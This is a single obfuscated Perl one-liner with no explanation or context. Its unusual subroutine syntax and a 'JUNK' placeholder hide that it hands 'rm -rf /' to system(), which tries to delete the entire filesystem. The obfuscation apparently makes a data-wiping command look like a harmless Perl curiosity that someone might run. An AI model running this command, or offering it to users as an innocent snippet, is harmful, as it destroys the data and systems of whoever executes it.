perl -e 'sub _ {shift&&&_&&system@_} _ qw|JUNK rm -rf /|'